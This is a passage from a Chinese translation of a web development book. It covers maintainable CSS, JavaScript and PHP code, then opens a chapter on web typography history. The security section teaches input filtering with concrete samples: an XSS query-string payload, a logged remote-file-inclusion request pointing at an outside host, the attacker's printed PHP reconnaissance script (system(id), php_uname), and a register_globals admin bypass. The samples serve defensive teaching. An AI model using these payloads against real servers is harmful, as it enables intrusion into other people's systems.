 ，但是同样，这些设置可能具有你所不知道的用途。最终，添加高度特定的选择器将修正问题，但是以后你将开始与其他维护人员进行一场不可能获胜的赛跑，并且最终将使CSS变得臃肿。
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Dust-Me Selectors是一个Firefox扩展，用于找出样式表中未使用的CSS选择器

5.3.4　选择器针对性太强

使用选择器针对性太强的选择器将把你置于这种相同的与其他维护人员的赛跑中。专一性指定义哪些样式将应用于某些元素的选择器。如果对同一个文档应用p { color: #000; }和#main p { color: #ccc; }，那么带有#main的元素中的所有段落都将是淡灰色的，而不会是黑色的，因为#main选择器使得第二条规则更有针对性。

这意味着每当维护人员不得不添加新样式时，他们还将不得不把另一个元素（class或id）添加到他们的选择器中。为了使他们更轻松，要保持你的选择器的专一性尽可能低，并且让维护人员定义一系列中的哪个元素是“孤立的元素”。通过这样做，还允许重用元素。例如，div.warning{ color: #c00; background: #fcc }只适用于div，但是如果你定义了.warning { color: #c00; background: #fcc }，维护人员就可以把它添加给（比如说）列表项。

5.3.5　使用浏览器特定的技巧和技术

仅仅由于某些事物目前看起来很酷并不意味着已准备好使用它，或者它在一年的时间内都将很酷。IE6在问世时就具有针对CSS的数量惊人的特定于供应商的扩展。例如，你可以在1997年利用一个仅用于IE的过滤器旋转HTML内容。目前，基于Webkit的浏览器也可以执行该操作。不过，在iPad或iPhone上看起来令人印象深刻的许多CSS技巧将不会应用在其他浏览器中，并且在非常慢的计算机上它们带来的烦恼要多过帮助。因此，在你对封闭式系统的各种可能性感到兴奋不已并且声称它是Web的真实状态之前，要在自己的舒适区之外进行一些测试，并在有意义的地方应用样式。至于帮助维护人员，好的做法是在规则的末尾添加特定于浏览器的设置，而不是把它们散布在整个文档中。例如：


#message {
  width: 90％;
  padding: .5em;
  font-size: 110％;
  font-weight: bold;
  border: 2px solid #000;
  border-radius: 10px;
/* Firefox */
  -moz-border-radius: 10px;
  -moz-box-shadow: 4px 4px 4px rgba（33,33,33,.4）;
/ Safari / Chrome */
  -webkit-border-radius: 10px;
}


这样，当标准体系得出最终的规范并且所有的浏览器都支持它们时，将很容易删除所有特定于供应商的扩展。


 5.4　JavaScript

JavaScript是Web上最常用并且可能是最强大的程序设计语言。它具有多个优点：容易学习、无需编译或服务器即可工作，并且它是无所不在的。随着JSON变成一种数据传输标准以及JavaScript库抽象化掉跨浏览器支持和错综复杂的DOM操作的痛苦，就没有理由不用它来做所擅长的事情。

这样又引发了一个问题。由于JavaScript如此容易学习和使用（并且JavaScript库使人们相信只要具有其中一个库，将不需要其他的一切），许多人在他们职业生涯的早期认为他们自己就是JavaScript开发人员。目前，我正在采访前端开发人员，约谈的人中只知道jQuery的人数令人非常吃惊。能够实现特定的技术并不会使你成为这方面的专家，不知道它如何或者为什么工作将使你不能胜任维护它的任务。希望和信念只对某些事情有用，但不包括技术。如果你应用某项技术，就要确保它会工作，并且在它崩溃时知道如何修正它。

JavaScript开发的几个标志能够提前预示着你会遇到麻烦：

●　编写冒失的JavaScript代码；

●　依赖于具有正确格式的数据；

●　不加测试地应用；

●　疏于考虑错误情况；

●　没有创建可重用的泛型函数；

●　未能使脚本可配置；

●　没有测试或验证JavaScript代码。

5.4.1　编写侵入式JavaScript代码

我们已经介绍过，如果你编写仅当JavaScript可用时才有意义的HTML代码，那么就把自己置于失败的境地。当激活它时，如果界面元素没有任何反应，那这就是一个破碎的承诺，并且用户将不再信任你。我多年来一再说谨慎的JavaScript代码的优点
(6)

 ，并且其他人
(7)

 后来也声明了这一点。诀窍是在指示机器提供该功能之前测试是否可以做某件事情。它就像在冒失地跳进一条河流中之前测试它的深度那样简单。

因此，不要让javascript://链接弄乱你的文档，删除那些onclick=""句柄，并且利用JavaScript创建那些依赖于JavaScript的事物。它没有什么魔术，并且回报的确非常慷慨。

5.4.2　依赖于具有正确格式的数据

数据从来都含有水分，尤其是当最终用户提供它时。为了获得良好的工作代码，要在使用数据之前测试它具有正确的格式。JavaScript具有数量惊人的验证函数，用于检查某个参数是否是字符串、数组、数字、对象，或者你所需要的其他内容；并且使用正则表达式和强制转换的类型，可以确保代码只会获得它可以处理的值，而不会阻塞并抛出一个错误。

停止编写如下所示的极其古怪的代码：


function loopOver（x）{
  for（var i=0,j=x.length; i<j; i++）{
    doStuffWith（x［i］）;
  }
}


这假定x是一个数组，但是你无法知道这一点。因此，要对它进行测试：


function loopOver（x）{
  if（typeof x === ‘object’ &&
     x.length !== ‘undefined’）{
    for（var i=0,j=x.length;i<j;i++）{
      doStuffWith（x［i］）;
    }
  }
}


验证对于获得干净的代码是至关重要的。对于文档中不仅可能会崩溃而且会导致安全威胁的代码，JavaScript将不进行净化或过滤以拒绝它。

5.4.3　不假测试地应用

浏览器中的JavaScript极其古怪。页面上任何其他的脚本都可能严重地妨碍你的脚本的功能，并且浏览器其他标签上运行的网站也可能会减慢浏览器的速度（你的界面需要适应这一点）。因此，在本地运行脚本并且只试验它几次不足以真正了解它是如何工作的，必须在它的真实环境中并且连同所有其他并行运行的脚本一起测试它。我发现慢速的连接是出现错误的主要原因，因此在宣布脚本准备好使用之前，要在慢速的连接上测试它或者利用代理
(8)

 模拟它。使代码变质的其他原因包括：应用深度嵌套的对象或者DOM选择器。


for（var i=0,j=data.results.houses.levels.flats.length;i<j;i++）{
  // ...
}
$（#main #message li a span）.hide();


同样，你希望data.results.houses.levels.flats存在，但是不能依赖于它。在应用循环之前，必须测试属性始终伴随着对象存在。在第二种情况下，一旦HTML改变，脚本就会失败；在jQuery的情况下，它的失败将不引人注意，这使得调试成为一种令人沮丧的体验。

5.4.4　疏于考虑错误情况

无论何时实现某种功能，还要考虑到错误情况。这样，当发生某种错误时，至少可以记录错误，或者告诉最终用户什么出错了。并且知道是什么事情始终会出错。

不带超时情况或错误情况的Ajax请求导致界面看上去像卡住了一样。如果单击句柄不会引发做相同事情的页面重新加载，则将导致出现一些令人烦恼的按钮，用户将反复地单击它们而不会获得任何反馈。解决方案十分简单：在代码中保留用于错误处理的陷阱（即使你只是把它们添加为存根程序），这样，你将总是具有可以扩展的代码。如果没有考虑失败，将会出现错误，并且维护人员将会替换你的代码，而不会麻烦地尝试修正它。

5.4.5　未能使脚本可配置

现在，HTML与JavaScript之间的联系非常紧密。像jQuery这样的库推动这种联系成为一种构建非常酷的网站的快速方式，并且结果证明它们是正确的。不过，通过紧密地把HTML绑定到JavaScript，还使得维护人员可以很容易地分解脚本。如果HTML结构或层次结构发生改变，那么长长的选择器将会中断。因此，为了使维护人员的工作变得轻松，可以把所有的选择器保存在脚本的开始处并缓存结果。这样，维护人员不必搜寻数千行JavaScript代码以寻找一个选择器即可执行更改。

这里有一个一般的原则：如果其他人将维护你的代码，那么就把很可能改变的内容（id、类、DOM路径、字符串和参数）放在它们自己的配置对象里。我已经总结了关于这方面的许多知识
(9)

 ，并且它仍然是防止脚本被维护人员弄乱的最强大的方式。

[image: ]


有许多高级的JavaScript测试工具可供Web开发人员使用。Firebug是其中最流行、最被认可的工具，对于许多Firebug扩展如FireQuery（用于jQuery开发）则尤其如此。

你也可能希望考虑使用Selenium IDE和Web Developer的Toolbar

5.4.6　没有创建可重用的泛型函数

这种利用串联方法（chained method）和jQuery的新编码风格带给JavaScript世界的另一处改变是：现在可以非常容易地编写能够重现功能的代码。

无需计划脚本并把它切分成每个都具有单一用途的函数，你将看到许多解决方案在一大堆带有许多串联方法的选择器周围都具有一个document.ready()调用。

这就是串联方法和库（如jQuery）的威力：可以快速地增强HTML文档，并把它转变成令人敬畏的内容。不过，如果保持这样做，你很可能会一遍又一遍地重现你自己。

利用复制和粘贴很容易重现相同的功能，但是它将不必要地使脚本变得臃肿，并且如果你需要改变功能，那么将不得不在多个位置执行此操作。

无需对选择器应用许多串联转换或方法调用，只需编写用于执行此任务的可重用的函数即可。可以利用DOM元素调用诸如hidepanel()和showpanel()之类的方法，并且一次执行许多转换。以后，如果维护人员想添加新面板，将只需保持调用它们并插入整个脚本的功能即可，而不用编写另一个hide()和remove()。他们也可以扩展功能，假如他们需要一个store()函数，用于保存界面的当前状态。维护人员无需分析所有的代码并且查看界面在什么地方发生了改变，而只需在showpanel()和hidepanel()中添加一个对store()的调用即可。

对此，调用自定义的事件甚至更好一些。如果你想构建一个应用程序，就一定要仔细阅读有关这方面的知识。

如果你正在编写将被重用的方法，那么它们也应该是泛型的。当checkPanelSize（threshold）执行任务并且可以检查大小为600、300、200或者任何其他大小的面板以进行引导时，编写像isPanelLargerThan600Pixels()这样的方法将是毫无意义的。

现在，许多JavaScript被承诺为“可以完成任务”，如果你想增强Web文档以使之更流畅、更华丽，这就很好。但是，如果你想编写一个更复杂的解决方案，就要确保利用维护人员将重用并且不必重现的功能编写脚本，而这些维护人员将扩展你的代码。

5.4.7　没有测试或验证JavaScript代码

虽然测试变量以及它们的值很重要，但是使JavaScript自身是有效的并且不会试图访问不可用的本机对象和变量同样重要。要编写干净的JavaScript代码，它可以执行验证和工作，甚至当它被脚本转换成用于改进网站性能时也是如此。今天的许多服务器被设置成简化或打包JavaScript代码，并且当发生这种情况时，你的脚本应该不会崩溃。诀窍是使用大括号，并且不依赖于浏览器进行分号注入。

断定你的JavaScript是否准备好发布的最容易的方式是通过JSLint运行它。
(10)

 在许多编辑器中，JSLint是作为附件提供的，因此保存和验证脚本变成了相同过程的一部分。一般来讲，确保JavaScript不会快速变质的方式是：一旦你对它的功能感到满意，就让另一个人来处理它。两年前，我总结了在移交脚本前要对它做的五件事
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 ，现在，那时写下的内容依然有效。

●　删除外观和感觉。


不要在JavaScript中设置颜色和其他视觉效果，而要在CSS中添加类名并维护它们。

●　留意明显的速度问题。


使DOM访问保持在最低限度、缓存循环的终止状态，以及编写可重用的函数，而不是许多匿名函数。

●　从功能代码中删除标签和名称。


由于字符串以及类和id的名称很可能改变，它们应该位于配置对象中，而不应该散布在整个脚本中。

●　使用人类可读的变量和函数名称。


在激烈的竞争中，编写非常短的、隐晦的变量名称极具诱惑力。但是以后，它们可能引起混淆。

●　添加注释、用你的名字签署代码，以及删除任何全局冲突。


使得人们可以轻松地查看在哪里和为什么需要使用“奇特的”代码，以及可以联系谁来讨论关于它的问题。


 5.5　后端代码

应用程序或解决方案的后端的代码像前端的代码一样易于恶化，它们的区别在于后端代码具有以下影响。

●　代码的性能问题不仅会使最终用户的计算机变得更慢，而且会影响服务器，从而影响每一个人的体验。

●　安全问题使得整个服务器易受攻击，并且允许攻击者窃取用户的身份，或者把网站转变成垃圾邮件枢纽或攻击网络僵尸。

●　恶意代码可以隐藏更长的时间，因为没有来自外部世界的反馈（而JavaScript、CSS和HTML总是非常开放的）。

●　后端的规则更严格：恶意代码将不会执行。这样，你需要更严格地编写代码。

我们在上面的JavaScript一节中介绍的所有知识也适用于后端代码。不过，你还应该知道这种环境是不同的，这意味着你要关心另外几件事。

在后端编写代码时，你的代码很可能更多地依赖于其他的库、组件和解决方案，因此有时将不得不以你所不适应的方式编写代码。也许你开发的项目具有一些用于呈现简单的HTML的极其错综复杂的方法，因为这是系统在十年前的构建方式，并且现在由于害怕破坏系统而导致没有人敢于更改系统的核心。

有时，你只需硬着头皮附和它。不过，如果你确实在构建新系统，就要避免以下将导致后端代码让人感到痛苦的几件事情：

●　混合后端逻辑与显示逻辑；

●　没有筛选出传入的数据；

●　没有预定义变量；

●　在纯文本中存储敏感信息；

●　假定系统的扩展和版本。

5.5.1　混合后端逻辑与显示逻辑

这可能是经验不足的后端开发人员最大的问题。你没有严格地把显示HTML的部分与访问数据库的部分分隔开，调用Web服务并执行一些笨重的转换和计算，从而交付一个可以做一切事情的巨大的代码块。

这意味着维护人员将不得不仔细遍历整个文档，以找出那么一点点HTML代码。它还意味着被要求修正应用程序逻辑的后端开发人员将与HTML打交道，这可能是今天出现表格布局、内联样式表和无效的HTML的主要原因。

为了确保代码可维护并且可扩展，可以遵循MVC模型，并且把用于用户界面的代码与同后端交互的代码严格地分隔开。这可能像编写一个render()函数并把所有的HTML输出放入其中一样简单。在大多数情况下，它意味着使用模板系统代替开发你自己的解决方案，额外的好处是模板系统可以自由地进行缓存和本地化。

此外，不同的专家将能够维护应用程序的不同部分，并且在将来的更新中，你将能够自由地切换到另一个数据库、更改后端语言或者添加移动界面，而不必触及应用程序的核心。

5.5.2　没有筛选出传入的数据

随着每一批访问者光临你的网站，将会有心怀不轨的人尝试攻击它。攻击服务器有许多原因：存储信息；在保持匿名的情况下使之攻击另一个服务器；或者窃取cookie以便冒充系统的用户并窃取他们的身份。所有这些攻击都可以通过在系统中注入恶意代码来实现，前提是这些系统没有筛选出通过表单或URL传入的数据。

如果你的系统只使用JavaScript来验证表单，那么代码最终将被注入到你的网站中。如果你没有筛选出传入的数据并且允许执行SQL语句，那么最终还将得到受到损害的数据库。

你要知道的两类攻击是跨站点脚本
(12)

 和SQL注入
(13)

 。有几种方式可以防止这些攻击。在PHP中，确保使用mysql_real_escape_string（￥v）函数
(14)

 阻止攻击者对￥v变量添加任意的SQL命令。为了清理来自表单或URL的变量，可以使用filter_input()函数
(15)

 。关于保障Web应用程序的安全和输入过滤有许多要说的话，并且有许多图书告诉了你多得多的知识，但是这里的主要任务是永远也不要做……

不要在没有进行净化的情况下打印任何￥_GET、￥_POST或￥_REQUEST变量。如果违反了这个规则，就会允许人们注入代码。例如，下面的代码段将易受攻击：


<?php echo '<a href="'.$_GET［'url'］.'">click me</a>';?>


如果我现在在 index.php 文档内给这段代码发送一个像 index.php?url="<script>alert（'xss'）;</script>这样的参数，它将打印以下内容：


<a href=""<script>alert（'xss'）</script>click me</a>


然后将执行JavaScript代码。如果不使用 alert()，我就创建了一个可以注入一些恶意代码的脚本，然后它可以读取你的cookie，就像它是从你的域中执行的一样，这真是一条坏消息。

当在从文件系统读取的函数中使用参数时，这甚至会变得更危险。fread()或include()中的 ￥_GET［ ］可能被重写，以显示来自服务器的敏感文件，或者注入来自第三方服务器的文件。在你的服务器的日志文件中寻找.txt，你将看到许多攻击服务器的企图。下面显示了我的服务器日志文件中的一条记录：


-0700] "GET /onlinetools.org/tools//errors.php?error=http://
www.bangkoklimo4u.com/image_post/id.txt??％0D?? HTTP/1.1" 404
291 "-" "libwww-perl/5.808"


如果检查以此为目标的文本文件，将会看到位于那里的脚本，如果成功注入，它将显示关于我的服务器的信息：


<?php
function ConvertBytes（$number）{
$len = strlen（$number）;
if（$len < 4）{
return sprintf（"％d b", $number）; }
if（$len >= 4 && $len <=6）{
return sprintf（"％0.2f Kb", $number/1024）; }
if（$len >= 7 && $len <=9）{
return sprintf（"％0.2f Mb", $number/1024/1024）; }
return sprintf（"％0.2f Gb", $number/1024/1024/1024）; }
echo Osirys<br>;
$un = @php_uname();
$id1 = system（id）;
$pwd1 = @getcwd();
$free1= diskfreespace（$pwd1）;
$free = ConvertBytes（diskfreespace（$pwd1））;
if（!$free）{$free = 0;}
$all1 = disk_total_space（$pwd1）;
$all = ConvertBytes（disk_total_space（$pwd1））;
if（!$all）{$all = 0;}
$used = ConvertBytes（$all1-$free1）;
$os = @PHP_OS;
echo "0sirys was here<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;


这企图访问我的服务器并读取关于操作系统的信息，以确定是否有足够的空间可供“0sirys”存储他的文件。bangkoklimo4u.com上的系统易受攻击，并且黑客能够在它的服务器上存储这个恶意的代码段。它现在看起来好像网站尝试攻击我的服务器，并且我可能浪费时间控诉它，而放过了0sirys。

除了只使用￥_GET、￥_POST或￥_SERVER变量之外，在显示信息之前，还要过滤或者用白名单列出来自它们的数据。这不仅仅是“要做的好事”-不这样做将会使Web立即崩溃，并且使之成为病毒和黑客肆意妄为的场所。

5.5.3　没有预定义变量

忽视在JavaScript中定义变量然后在别处使用它们通常几乎不会有什么风险。不过，就PHP而言（尤其是对于设置不佳的PHP而言），这可能是一个非常重大的问题。较老的PHP设置具有自动把URL参数转变成全局变量的问题。如果你具有如下所示的一些PHP代码……


<?php
checkPermissions();
if（$admin）{
...
}
?>


其中checkPermissions返回￥admin as true或false，我可以利用一个URL参数重写它。在启用全局变量的设置上利用index.php?admin=1调用上面的代码将使我进入管理块，而不管checkPermissions()是否返回$admin as true。为了避免这一点，可以预定义变量，或者仅当从函数返回变量时才使用它们：


<?php
$admin = false;
checkPermissions();
if（$admin）{
...
}
// or
$admin = checkPermissions();
if（$admin）{
...
}
?>


另一个好处是所有的预置都将位于脚本的开始处，使得维护人员更容易维护它们。

5.5.4　在纯文本中存储敏感信息

新手在处理后端代码时经常犯的一个错误是：在文件中的纯文本中或者甚至在数据库中存储敏感信息。由于有许多方式跟踪服务器，这基本上相当于请求别人窃取你的信息。首先，纯文本文件不能安全地存储信息，并且实际上对于服务器很糟糕，因为你可能由于持续地重写文件而损坏它们。

通过加密信息然后把它们存储在数据库中，将使得Web成为一个安全得多的位置。是的，这样做是要辛苦一点，但是可以确保只有你和维护人员能够访问信息。如果服务器经历许可问题或者维护人员把事情弄得一团糟，那么纯文本文件最终就能够被读取。例如，如果网络把许多博客的wp_config.php文件设置为“read/write/executeall”，就会看出问题来。
(16)



5.5.5　假定系统的扩展和版本

编码员所犯的最后一个明显的错误是：将执行代码的服务器具有与他们用于编写代码的本地计算机或服务器相同的设置。重申一遍，解决方案是在应用功能之前测试某个方法是否可用。

常见的示例是对外部资源使用file_get_contents()。出于安全原因，许多虚拟服务器禁止加载来自第三方资源的信息，并且脚本将会失败。测试是为了运行功能，这要优于通过尝试访问某个功能为最终用户引发错误，以及向服务器的所有者解释你期望服务器的某些扩展或者特定的版本。


 5.6　小结

如本章开头所说的，至于为什么代码的质量会随着时间的推移而恶化，有许多原因要排在管理员的前面。你可以通过在代码自身当中计划维护，使维护代码的任务要容易许多。猜度你所想的任何事情很容易被改变是避免感到诧异的另一种良好的方式。无论如何，都要期望代码与几星期前你编写它们时完全不同，并且通过留下关于应该如何更改它们的指导，阻止随意地修改它们。

最终，你不得不计划以及架构和组织你的代码，而不是只满足于编写它们并且很高兴地看到它们目前在你的环境中工作。这是编程爱好者与专业开发人员之间的关键区别，专业人员遵循下面这些原则。

5.6.1　自测

在Web开发中，关于谁是第一人或速度最快或者谁编写了最少量的代码等，有许许多多这样的传闻。这非常好，因为它表明竞争是良性的，但是它也强迫你编写针对复杂问题的快速解决方案。这将吸引你走捷径，比如添加一些内联样式，或者添加一个onclick处理程序（而不是添加到主脚本中），抑或是添加一个空的div以清除浮动。这当然时常会萦绕在你的心头，但是它可能也具有你未曾想到的作用。如果快速的修正方案看上去过于简单以至于显得不真实，并且它将会破坏你未考虑到的方面。在深入钻研之前先深呼吸一口气，给你自己额外的时间来测试修正了什么，这样你的解决方案将更适合它。

在提交代码前，要仔细检查一遍。可以稍适休息，做点别的事情。举例来说，我在编写文档时找到了许多方式来重构和改进我的代码。这就是为什么编写教程和培训材料如此有趣的原因：你将被迫真正地考虑主题，而不是仅仅编写出代码。

5.6.2　不要复制和粘贴未知的内容

一定要使用其他人的代码并且学习他们的解决方案。但是，如果在不知道函数和脚本做什么的情况下就复制和粘贴它们并且只是希望它们会工作，那么你将遇到麻烦。如果你使用插件、库或脚本，在不十分清楚它们做什么的情况下遵循用例和文档就可以了。但是不要把代码带到它们的使用环境之外，把它们粘贴在别的位置，并且期望不会出现任何问题。这样做是非常愚蠢的。

5.6.3　一定不要取悦于机器

验证很重要，但它不会使你的代码在语义上具有重大的价值。给确实需要替换文本的图像添加一个空的alt属性可能会阻止验证器提出疑问，但是在这个过程中就产生了一个可访问性问题。

把错综复杂的JavaScript代码段包装在一个闭包中可以防止它污损全局命名空间，但是它将不会使维护人员更轻松或者使用更少的金钱-而很可能使用更多的金钱。要为其他编码员编写代码，而不是为进程或者用户的计算机编码代码。这就是构建过程的目的所在。

5.6.4　不要成为极端痴迷者

为什么我们具有在线杂志、沙箱、个人博客及其他场所用于探索最新、最酷的技术，这是有原因的。这是因为技术可能会在那里不引发任何问题地失败。在生产代码中，尖端技术会使你忍痛出钱购买它。无论何时你使用并没有为黄金时间完全做好准备，或者你虽然感到兴奋但是不十分确信如何适应你的真实产品的技术，当库中的更新或者某个新的解决方案导致不再需要你所有的技巧和解决方法时，你很可能会遇到麻烦。

一定要使用你宠爱的技术，但是不要尝试利用它解决所有的问题。当你手持铁锤时，所有的一切看上去都像钉子-当它被证明是你的拇指时，就会造成严重的伤害。真实的开发总是混合使用多种技术，其中每种技术都很好地做一种工作。利用一种技术代替所有的技术是一项令人感兴趣的学术活动，并且可能产生不错的想法，但是在几乎所有的实际情况中，它都会导致臃肿的、难以维护的产品。

5.6.5　关于作者

“移动很重要——这是Web，你的实际工作位置是无关紧要的。旅行使你成为一个更好的人。”

Christian Heilmann（生于1975年）出生于德国巴伐利亚州的施韦因福特市，拥有德语、英语、历史学和天文学方面的文凭。他用自己的座右铭纹身：“开始做某件事，以娱乐的心态对待它，如果你不想继续玩下去，就不要再做它。”他致力于把技术带给人们以及把人们带给技术，工作比较清闲时，他会选择看电影解闷。蓝色和绿色是他最喜爱的颜色，由于他很少呆在家里，因此他的唯一宠物是许多橡皮鸭。Christian给读者的忠告是：要保持饥饿感、保持好奇心，不远处总会有新事物。



————————————————————


(1)
  参见http://www.w3.org/TR/wai-aria-primer/。


(2)
  参见http://trentwalton.com/2010/07/05/non-hover/。


(3)
  参见http://developer.yahoo.com/yui/reset/。


(4)
  参见http://developer.yahoo.com/yui/fonts/。


(5)
  参见http://www.sitepoint.com/dustmeselectors/。


(6)
  参见http://icant.co.uk/articles/seven-rules-of-unobtrusive-javascript/。


(7)
  参见http://unobtrusify.com/。


(8)
  参见http://www.dallaway.com/sloppy/。


(9)
  参见http://www.wait-till-i.com/2008/05/23/script-configuration/。


(10)
  参见http://www.jslint.com/。


(11)
  参见http://www.wait-till-i.com/2008/02/07/five-things-to-do-to-a-script-before-handingit-over-to-the-next-developer/。


(12)
  参见http://en.wikipedia.org/wiki/Cross-site_scripting。


(13)
  参见http://en.wikipedia.org/wiki/Sql_injection。


(14)
  参见http://uk.php.net/manual/en/function.mysql-real-escape-string.php。


(15)
  参见http://uk.php.net/manual/en/function.filter-input.php。


(16)
  参见http://www.blogtap.net/wp-config-php-security-leak-hundreds-of-blogs-hacked/。


第6章　Web版式的未来


作者：Vivien Anayian
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 6.1　Web版式的昨天、今天和明天

版式是一种强大的工具，“可以通过它阐明、认同和分享文本的含义（或者它缺少含义），或者有意地进行伪装。”版式的这个经典的定义来自于Robert Bringhurst的TheElements of Typographic Style，它同样适用于Web版式，其中涉及在几毫秒的时间内抓住读者的注意力——否则就会失去他们，使得他们光顾另一个网站、另一个链接或者另一种吸引人的声音。

在The Elements of Typographic Style
 （它被看作是版式的圣经）一书的前言中，Robert Bringhurst指出版式的基础原则独立于任何特定的排版媒介。然而在经过差不多20年在Web上设置字体的痛苦之后，设计师终于可以扬眉吐气，并且可以在不危及细节或实现的情况下应用必要的样式元素。近几年在确定Web版式的未来方面扮演着至关重要的角色；仅仅几年前还无法想象的事情在今天已经变成了可能，并且将在明天甚至会变得更好。

字体设计师Jos Buivenga声称“Web上的文字正在变得庄重”，他认为Web版式设计非常有前途-对于字体设计师和Web设计师都是如此。Jon Tan热情地把Web版式的当前状况称为“繁荣兴旺”。

“对于Web版式来说，现在是一个振奋人心的时刻。”Stephen Coles赞许地说道，“新技术、使用文字的新方式，以及专门为新媒介创建的新字体层出不穷。”在过去几年不是如此令人兴奋，因为没有公共的标准，并且只会在字体供应商、浏览器制造商和用户当中引起关于“Web上的字体应该如何工作”的争论。

6.1.1　Web版式的演化

在过去几年发生了什么事情使设计师对Web上的版式的状况感到如此激动和乐观？自从1995年以来我们的确走了一段很长的路，当时Netscape首次把 <font>标签添加到HTML中。Web设计师没用多长时间就对他们的排版选项如此受限制以及HTML如此受内容和样式的控制感到不满意。第二年，发布了第一个CSS（Cascading Style Sheets，层叠样式表）规范，用于把表示与结构分隔开。

CSS“不仅可以使Web文档更漂亮”，Bert Bos写道，他于1996年加入W3C（World Wide Web Consortium，万维网联盟）并从事与CSS相关的工作，“它还为与我们的语义Web的目标相背离的实践活动提供替代方案：<font>标签、替代文本的图像、分隔符元素。我们希望HTML文档可访问、独立于设备、容易维护并且可重用，因此我们尝试把文本/结构与样式分隔开，使其尽可能容易和有吸引力。”
(1)



在Web上利用CSS属性编排文本样式变得如此容易和高效，它们可以控制字母之间的间距、文字、定位、方向、文本颜色和样式。一个问题得到了解决，但是还有许多问题仍然有待解决，包括不能指定用户的机器上不存在的字体。Web设计师别无选择，只能使用多种文本替代技术以显示非Web安全的字体
(2)

 ，比如静态图像替代、sIFR、Cufón、typeface.js和Facelift。每种技术都有它自己的问题：增加的页面加载时间和页面大小、对第三方应用程序或JavaScript的依赖、不可选择的文本，或者费时的文本更新和文本生成。上述的所有技术都不建议用于大块的文本。显然，需要一种更直观、更自然的排版方法。

当CSS2规范于1998年发布时，给设计师引荐了@font-face规则，它通过链接到不属于核心Web安全字体一部分的字体，可以改进字体选择过程。然而，许多事情都出错了。Microsoft和Netscape在它们的浏览器中选择不同的方法来支持Web字体，而不是支持使用最广泛的字体格式，即TrueType。Netscape支持TrueDoc；Microsoft则开发了专有的EOT（Embedded OpenType Format，嵌入式OpenType格式），它尽管得到了Adobe和Monotype字体服务商的支持，但是没有获得更广泛的认可，因为用户不想与错综复杂的、仅属于Microsoft的技术打交道。

十年后，@font-face王者归来，并且现在看起来仍然是这样。2007年，Microsoft为所有人开放了EOT，并把它们的EOT提议提交给W3C。不过这一次，由于DRM（Digit Rights Management，数字版权管理）顾虑，其他的浏览器供应商拒绝支持它。Microsoft用于把.ttf字体转换成.eot的工具（称为WEFT，Web Embedding Fonts Tool，Web嵌入式字体工具）并没有起到应有的作用。许多人发现使用它时令人混淆并且使人受挫，促使开发人员寻找其他的选择。
(3)



显然，这时需要新的格式：它包含OpenType、无需许可、只需很少的代码并且至少与EOT一样高效。这样一种格式是WOFF（Web Open FontFormat，Web 开放字体格式），它是字体设计师Erik van Blokland 和TalLeming在Mozilla的JonathanKew的帮助下协同工作的成果，并且由W3CWeb字体工作组（Web Fonts Working Group）进行了进一步的开发。JohnDagget牵头的Mozilla Firefox 3.6成为第一款带有WOFF支持的浏览器，Microsoft在Internet Explorer 9中添加了对WOFF的完全支持；GoogleChrome在版本5.0中添加了对它的支持，WebKit也将添加WOFF支持。2009年2月，字体编辑器FontForge添加了WOFF支持，因此现在可以直接把字体导出为WOFF。

WOFF是基于sfnt的字体（如TrueType Font或TTF、OpenType Font 或OTF、Open Font Format或OFF）的重新打包的压缩版本，导致其下载大小比OpenType和TrueType字体要小得多。WOFF包括可选的元数据，允许字体供应商利用元数据和私用数据标记它们的字体-这是WOFF得到了主要的字体造字商支持的主要原因。

作为一种通用的Web字体标准，WOFF 1.0通过使用真实的文本代替图像或者多种文本替代技术，有助于推进Web上丰富的版式，在线保留品牌标识以及改进网站的可访问性，使得它们更容易被搜索引擎发现。使用WOFF的另一个同等重要的好处是：使用其他语言创建网站成为可能，其中一些语言没有广泛可用的字型。
(4)



“对于Web设计师来说，WOFF意味着甚至更多的文字服务商将参与Web许可，并且可以利用多种方式购买字型许可。你可能已经从FontFont获得了WOFF文件的许可证”，Typekit
(5)

 的文字经理Tim Brown这样说道，Typekit是最早的Web字体交付和托管服务之一。

6.1.2　当今Web版式的状况

回到2006年，Oliver Reichenstein凭借一个大胆的声明动摇了设计秩序，他声称“Web上95％的信息都是书面语言，Web设计师应该在形成书面语言的主要学科（即版式）中获得良好培训的说法是最合乎逻辑的。”
(6)

 如果他是在今天写出这篇文章，将不会如此有争议。回到那个时代，Flash和“漂亮的图片”统治着设计界；数量有限的系统字体使图形设计师感到沮丧，并且不足以激励主要依靠自学成才的Web设计师突破Web版式的限制。

所有这些改变都要归功于一串偶然发现的事件-从John Boardley 的网站iloveTypography.com（专用于各种文字）的成功启动，到CSS版式中的最新进展和@font-face的王者归来，到字体交付服务（如Typekit或Fontdeck）的建立和Web字体的浏览器级支持，再到才华横溢的Web设计师凭借出色的观察力快速掠过版式细节，他们突破了在Web上利用版式可以实现什么效果的界限。突然，设计界开始以一种新的眼光看待Web版式，沉迷于文字的设计师停止了只考虑到安全的保守做法，开始在屏幕上试验各种文字，并从中获得乐趣。

一些Web设计师扩展了他们的CSS字体库，补充了对于Web非传统的字体。这些字体允许他们把设计打扮得整整齐齐，并把它们带到下一个层次。
(7)

 其他设计师（尤其是“版式不是关于选择一种很酷的字体”这个观点的支持者）通过只坚持使用十种核心Web字体中的一两种字体来愉悦我们的眼睛。
(8)



不过，绝大多数网站在版式方面仍然有所滞后。2005年，Richard Rutter决定通过发布他的网站The Elements of Typographic Style Applied to the Web
 来帮助Web设计师，他把该网站构造成“逐步学习Bringhurst的工作原则，解释了如何使用HTML和CSS中提供的技术来完成每个步骤”。
(9)



然而不幸的是，甚至在今天，具有丑陋的Web版式的网站数量仍然远远多于令人赏心悦目的网站数量。“总体来讲，Web版式仍然十分低劣，即使只考虑专业设计的网站也是如此。当然也有许多确实很精美的Web版式的示例，但是这些在宏大的商业Web模式中仍然极其少见。”Richard说道。

不过，低劣的Web版式几乎不涉及字型的选择。Richard认为“它更多地涉及关注版式的细节、字行的长度、深思熟虑的行距（字行的高度）、正确的字型，以及关注版式的颜色、精心设计的边距等。所有的小细节结合起来可以极大地改进阅读体验”。Richard把人们缺少对版式的关注归因于“历史上缺少可供Web设计师使用的字型；一遍又一遍地与相同的字体打交道导致在使用它们时不怎么上心，实际上应该更留心才对”。

